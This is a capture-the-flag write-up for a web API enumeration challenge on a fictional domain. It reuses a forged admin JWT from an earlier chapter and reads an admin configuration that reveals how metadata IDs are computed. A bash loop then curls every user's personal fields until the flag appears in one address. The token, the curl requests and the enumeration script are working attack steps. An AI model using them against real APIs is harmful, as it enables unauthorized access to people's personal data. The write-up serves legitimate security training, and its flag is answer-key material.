Skip to content

Chapter 3: Count With Me

Category: Web / API Enumeration    |    Points: 3    |    Difficulty: Medium

🧠 Challenge Text

Hi Senior Researcher,

an unknown perpetrator is attempting to discredit the national research and education network (NREN) and, on their domain theylietoyou.tcc, is publishing entirely unverified hoaxes, fake news, and other thoroughly unscientific content aimed against the mission of the NREN.

Law enforcement authorities have already been informed and they could use your assistance to gather as much information as possible. More information can be found on the website http://theylietoyou.tcc/story-line.

Stay curious!

🔍 Hints Text

No hints were provided.

🎨 Solution

Starting point

From Chapter 2 we had:

  • Forged ADMIN JWT accepted by untraceable-dev-api.theylietoyou.tcc (no signature verification)
  • Admin endpoints: /api/admin/users (admin user with id == 1), /api/admin/conf (hint to compute meta id formula), /api/admin/users/{userId}/meta/{metaId} (meta id endpoint)

Step 1: Get the metadata configuration

ADMIN_TOKEN="eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIiwiYXVkIjoidGNjLWFwaSIsInJvbGUiOiJBRE1JTiIsImlzcyI6Imh0dHA6Ly91bnRyYWNlYWJsZS1kZXYtYXBpLnRoZXlsaWV0b3lvdS50Y2MiLCJleHAiOjE3OTI2MTE5NjIsImlhdCI6MTc5MjYxMTA2MiwianRpIjoiYmYwODRiMDMtZjQ0Mi00NGIyLWIyYzItMDA4YzNkNWYzZDI1IiwidXNlcm5hbWUiOiJhZG1pbiJ9.yhexuuuO94oQPNJc-vxXFSAii5PRsT8TD8gMCdf2Oyw"

curl -s "http://untraceable-dev-api.theylietoyou.tcc/api/admin/conf" \
  -H "Authorization: Bearer $ADMIN_TOKEN"

{
  "formula": "metaId = baseOffset + (userId * multiplier) + fieldOffset",
  "offsets": {
    "Email": 23,
    "Sex": 53,
    "Address": 41,
    "FirstName": 11,
    "LastName": 17,
    "Data": 99
  },
  "multiplier": 1000,
  "baseOffset": 154700
}

The config reveals a formula for calculating metaId values used by the /api/admin/users/{userId}/meta/{metaId} endpoint.

Step 2: Enumerate all user metadata

With 36 users and 6 metadata fields each, calculate metaIds and scan every field:

for uid in $(seq 1 36); do
  for field_name in FirstName LastName Email Sex Address Data; do
    case $field_name in
      FirstName) offset=11;;
      LastName) offset=17;;
      Email) offset=23;;
      Sex) offset=53;;
      Address) offset=41;;
      Data) offset=99;;
    esac
    metaId=$((154700 + uid * 1000 + offset))
    result=$(curl -s "http://untraceable-dev-api.theylietoyou.tcc/api/admin/users/$uid/meta/$metaId" \
      -H "Authorization: Bearer $ADMIN_TOKEN")
    echo "$result" | grep -qi "flag" && echo "FOUND! userId=$uid field=$field_name metaId=$metaId: $result"
  done
done

Step 3: Flag found

The flag is in userId=17 (ermartinez) in the Address metadata field (metaId = 154700 + 17×1000 + 41 = 171741):

curl -s "http://untraceable-dev-api.theylietoyou.tcc/api/admin/users/17/meta/171741" \
  -H "Authorization: Bearer $ADMIN_TOKEN"

{
  "userId": 17,
  "metaId": 171741,
  "content": "Gran VĂ­a 34 219, Barcelona, Spain ; FLAG{Ugaa-S1zs-UwsE-uIUA}",
  "metaKey": "Address",
  "valid": true
}